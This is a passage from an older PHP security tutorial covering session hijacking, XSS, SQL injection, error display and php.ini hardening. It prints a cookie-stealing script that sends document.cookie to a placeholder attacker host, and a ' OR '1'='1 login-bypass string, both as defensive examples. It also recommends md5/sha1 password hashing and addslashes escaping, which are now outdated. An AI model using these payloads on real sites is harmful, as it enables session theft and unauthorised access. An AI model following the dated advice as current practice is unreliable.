would be readable -- it could even end up being indexed by Google if the spider stumbled upon it! Renaming files
to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a
source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off
in many ways. The system saves every version of each file in your project, which can be invaluable when changes
are made that cause problems later.
Session ID Protection
Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID
for each user's session, but if this ID is known to another user, that person can hijack the user's session and see
information that should be confidential. Session ID hijacking cannot completely be prevented; you should know
the risks so you can mitigate them.
For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when
he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user
to enter a new password without also entering their old password, for example. You should also avoid displaying
truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.
A user who creates a new session by logging in should be assigned a fresh session ID using the
session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be
prevented if you regenerate the ID at login.
If your site is handling critical information such as credit card numbers, always use an SSL secured connection.
This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.
If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other
users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that's keyed
to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress
again that it's best just to avoid this), do not store the password in clear text; use the sha1() (PHP 4.3+) or
md5() function to store the hash of the password instead.
if ($_SESSION['password'] == $userpass) {
// do sensitive things here
}
The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code
more like this:
if ($_SESSION['sha1password'] == sha1($userpass)) {
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// do sensitive things here
}
The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to
generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still
vastly superior to storing passwords in clear text. Use MD5 if you must -- since it's superior to a clear text-saved
password -- but keep in mind that recent developments have made it possible to generate MD5 collisions in less
than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a
function does not currently ship with PHP and must be found separately.
For further reading on hash collisions, among other security related topics, Bruce Schneier's Website [7] is a great
resource.
Cross Site Scripting (XSS) Flaws
Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting
commands -- usually JavaScript -- in data that is displayed and therefore executed by another user.
For example, if your application included a forum in which people could post messages to be read by other users,
a malicious user could embed a <script> tag, shown below, which would reload the page to a site controlled by
them, pass your cookie [8] and session information as GET variables to their page, then reload your page as
though nothing had happened. The malicious user could thereby collect other users' cookie and session
information, and use this data in a session hijacking or other attack on your site.
<script>
document.location =
'http://www.badguys.com/cgi-bin/cookie.php?' +
document.cookie;
</script>
To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web
page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in
particular, < and >) to HTML character entities ( < and >), so that the submitted data is treated as plain
text for display purposes. Just pass the data through PHP's htmlspecialchars function as you are
producing the output.
If your application requires that your users be able to submit HTML content and have it treated as such, you will
instead need to filter out potentially harmful tags like <script>. This is best done when the content is first
submitted, and will require a bit of regular expressions know-how.
The Cross Site Scripting FAQ [9] at cgisecurity.com [10] provides much more information and background on this
type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to
spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high
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number of XSS advisories issued on the popular security mailing lists.
SQL Injection Vulnerabilities
SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the
exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and
password, then check for the user by passing the database a query and checking the result.
SELECT * FROM users WHERE name='$username' AND pass='$password';
However, if the user who's logging in is devious, he may enter the following as his password:
' OR '1'='1
This results in the query being sent to the database as:
SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';
This will return the username without validating the password -- the malicious user has gained entry to your
application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the
user-submitted values, most particularly the single quotes ('). The simplest way to do this is to use PHP's
addslashes() function.
$username = addslashes($_POST[quot;usernamequot;]);
$password = addslashes($_POST[quot;passwordquot;]);
But depending on your PHP configuration, this may not be necessary! PHP's much-reviled magic quotes
feature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the
magic_quotes_gpc php.ini variable to Off, will automatically apply addslashes to all values
submitted via GET, POST or cookies [11]. This feature safeguards against inexperienced developers who might
otherwise leave security holes like the one described above, but it has an unfortunate impact on performance
when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect
to switch this feature off.
If you're developing software that may be installed on shared servers where you might not be able to change the
php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned on, pass all input
values through PHP's stripslashes() function. You can then apply addslashes() to any values
destined for use in database queries as you would normally.
if (get_magic_quotes_gpc()){
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
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}
SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to
output selected database records if the result of the query is printed to your HTML output.
You should always check user-provided data that will be used in a query for the characters 'quot;,;() and,
possibly, for the keywords quot;FROMquot;, quot;LIKEquot;, and quot;WHEREquot; in a case-insensitive fashion. These are the
characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which
they're unnecessary, you'll have much less to worry about from this type of flaw.
Error Reporting
You should ensure that your display_errors php.ini value is set to quot;0quot;. Otherwise, any errors that are
encountered in your code, such as database connection errors, will be output to the end user's browser. A
malicious user could leverage this flaw to gain information about the internal workings of your application, simply
by providing bad input and reading the error messages that result.
The display_errors value can be set at runtime using the ini_set function, but this is not as desirable
as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal
error and cannot run, the ini_set function is not run.
Instead of displaying errors, set the error_log ini variable to quot;1quot; and check your PHP error log frequently for
caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked
when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise
precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know
the problem exists. Read the PHP manual pages on error handling [12] and learn about the
set_error_handler() function.
Data Handling Errors
Data handling errors aren't specific to PHP per se, but PHP application developers still need to be aware of them.
This class of error arises when data is handled in an insecure manner, which makes it available to possible
interception or modification by malicious parties.
The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that
should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of
secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those
usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material
itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your
application to a user's browser. Otherwise, a malicious eavesdropper on any router between your server and the
end user can very easily sniff the sensitive information out of the network packets.
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The same type of risk can occur when applications are updated using FTP, which is an insecure protocol.
Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like
FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like
SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email,
either. An email message is readable by anyone who's capable of reading the network traffic. A good rule of thumb
is that if you wouldn't write the information on the back of a postcard and put it through the mail, you shouldn't
send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it?
It's important to minimize your exposure to data handling flaws. For example, if your application is an online
store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive
the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached.
It's basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the
negative effects of a successful compromise. No security system is ever perfect, so don't assume that yours is. Take
steps to minimize the fallout if you do suffer a penetration.
Configuring PHP For Security
Generally, most new PHP installations that use recent PHP releases are configured with much stronger security
defaults than was standard in past PHP releases. However, your application may be installed on a legacy server
that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as
secure as the default settings on a fresh install.
You should create a page that calls the phpinfo() function to list your php.ini variables and scan them for
insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of
phpinfo() contains information that a potential hacker might find extremely useful.
Some settings to consider when configuring PHP for security include:
1. register_globals: The boogeyman of PHP security is register_globals, which used to
default to quot;onquot; in older releases of PHP but has since been changed to default to quot;offquot;. It exports all user
input as global variables. Check this setting and disable it -- no buts, no exceptions. Just do it! This setting is
possibly responsible for more PHP security flaws than any other single cause. If you're on a shared host,
and they won't let you disable register_globals, get a new host!
2. safe_mode: The safe mode setting can be very useful to prevent unauthorized access to local system
files. It works by only allowing the reading of files that are owned by the user account that owns the
executing PHP script. If your application opens local files often, consider enabling this setting.
3. disable_functions: This setting can only be set in your php.ini file, not at runtime. It can be set to
a list of functions that you would like disabled in your PHP installation. It can help prevent the possible
execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system
and exec, which allow the execution of external programs.
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Read the security section of the PHP manual [13] and get to know it well. Treat it as material for a test you'll take
and get to know it backwards and forwards. You will be tested on the material by the hackers who will indubitably
attempt to penetrate your site. You get a passing grade on the test if the hackers give up and move on to an easier
target whose grasp of these concepts is insufficient.
Further Reading
The following sites are recommended reading to maintain your security knowledge. New flaws and new forms of
exploits are discovered all the time, so you cannot afford to rest on your laurels and assume you have all the bases
covered. As I stated in the introduction to this article, quot;Security is a processquot;, but security education is also a
process, and your knowledge must be maintained.
OWASP, The Open Web Application Security Project [14], is a non-profit oganisation dedicated to quot;finding and
fighting the causes of insecure softwarequot;. The resources it provides are invaluable and the group has many local
chapters that hold regular meetings with seminars and roundtable discussions. Highly recommended.
CGISecurity.Net [15] is another good site dealing with Web application security. They have some interesting FAQs
and more in-depth documentation on some of the types of flaws I've discussed in this article.
The security section of the PHP Manual [16] is a key resource that I mentioned above, but I include it here again,
since it's full of great information that's directly applicable to PHP. Don't gloss over the comments at the bottom of
each page: some of the best and most up-to-date information can be found in the user-contributed notes.
The PHP Security Consortium [17] offers a library with links to other helpful resources, PHP-specific summaries
of the SecurityFocus newsletters, the PHP Security Guide, and a couple of articles.
The BugTraq mailing list [18] is a great source of security related advisories that you should read if you're
interested in security in general. You may be shocked by the number of advisories that involve popular PHP
applications allowing SQL insertion, Cross Site Scripting and some of the other flaws I've discussed here.
Linux Security [19] is another good site that is not necessarily restricted to PHP but, since you are likely running a
Linux Webserver to host your PHP applications, it's useful to try to stay up to date on the latest advisories and
news related to your chosen Linux distribution. Don't assume your hosting company is on top of these
developments; be aware on your own -- your security is only as good as your weakest point. It does you no good to
have a tightly secured PHP application running on a server with an outdated service that exposes a well-known
and exploitable flaw.
Conclusions
As I've shown in this article, there are many things to be aware of when programming secure PHP applications,
though this is true with any language, and any server platform. PHP is no less secure than many other common
development languages. The most important thing is to develop a proper security mindset and to know your tools
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well. I hope you enjoyed this article and learned something as well! Remember: just because you're paranoid
doesn't mean there's no one out to get you.
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